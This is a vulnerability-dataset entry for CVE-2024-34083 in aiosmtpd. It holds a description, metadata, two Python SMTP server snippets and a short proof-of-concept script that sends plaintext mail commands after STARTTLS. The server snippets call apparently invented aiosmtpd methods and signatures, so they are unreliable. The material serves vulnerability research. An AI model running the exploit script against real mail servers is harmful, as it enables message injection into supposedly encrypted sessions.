CVE-2024-34083

aiosmtpd allows unencrypted commands post-STARTTLS, risking MITM attacks.

• CVSS 5.4
• CWE-349
• Cryptographic
• Remote

aiosmptd is a reimplementation of the Python stdlib smtpd.py based on asyncio. Prior to version 1.4.6, servers based on aiosmtpd accept extra unencrypted commands after STARTTLS, treating them as if they came from inside the encrypted connection. This could be exploited by a man-in-the-middle attack. Version 1.4.6 contains a patch for the issue.

CVE

CVE-2024-34083

CWE

CWE-349

CVSS base score

5.4

Published

2024-05-18

OWASP

A02 Cryptographic Failures

Orthogonal defect classification

Function

Code defect classification

Incorrect Functionality

Category

Cryptographic

Subcategory

Unencrypted communication

Accessibility scope

Remote

Impact

Unauthorized Access

Affected component

aiosmtpd

Fixed by upgrading

Yes

Solution

Upgrade to aiosmtpd version 1.4.6 or later.

import asyncio
from aiosmtpd.smtp import SMTP

class SMTPServer(SMTP):
    async def handle_command(self, command, *args):
        if command == 'STARTTLS':
            await self.start_tls()
        else:
            await super().handle_command(command, *args)

async def main():
    server = SMTPServer()
    await server.start('localhost', 8025)

if __name__ == "__main__":
    asyncio.run(main())

import asyncio
import ssl
from aiosmtpd.smtp import SMTP

class SMTPServer(SMTP):
    async def handle_command(self, server, session, envelope, arg):
        if arg.upper() == 'STARTTLS':
            if self.tls_context:
                await self._starttls(server, session)
                return '220 Ready to start TLS'
            else:
                return '454 TLS not available'
        return await super().handle_command(server, session, envelope, arg)

async def main():
    ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    ssl_context.load_cert_chain('cert.pem', 'key.pem')

    server = SMTPServer(tls_context=ssl_context, require_starttls=True)
    await server.start('localhost', 8025)

if __name__ == "__main__":
    asyncio.run(main())

import socket

# Example payload to exploit the vulnerability
def exploit_vulnerability(target_host, target_port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((target_host, target_port))
        # Send EHLO command
        s.sendall(b'EHLO attacker.com\r\n')
        # Send STARTTLS command
        s.sendall(b'STARTTLS\r\n')
        # Here, an attacker would attempt to manipulate the connection
        # by sending additional unencrypted commands after STARTTLS
        s.sendall(b'MAIL FROM:<attacker@example.com>\r\n')
        s.sendall(b'RCPT TO:<victim@example.com>\r\n')
        s.sendall(b'DATA\r\nSubject: Test\r\n\r\nThis is a test message.\r\n.\r\n')
        s.sendall(b'QUIT\r\n')
        response = s.recv(4096)
        print(response.decode())

# Example usage
# exploit_vulnerability('localhost', 8025)

@misc{vaitp:cve202434083,
  title        = {{aiosmtpd allows unencrypted commands post-STARTTLS, risking MITM attacks.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-34083},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-34083/}}
}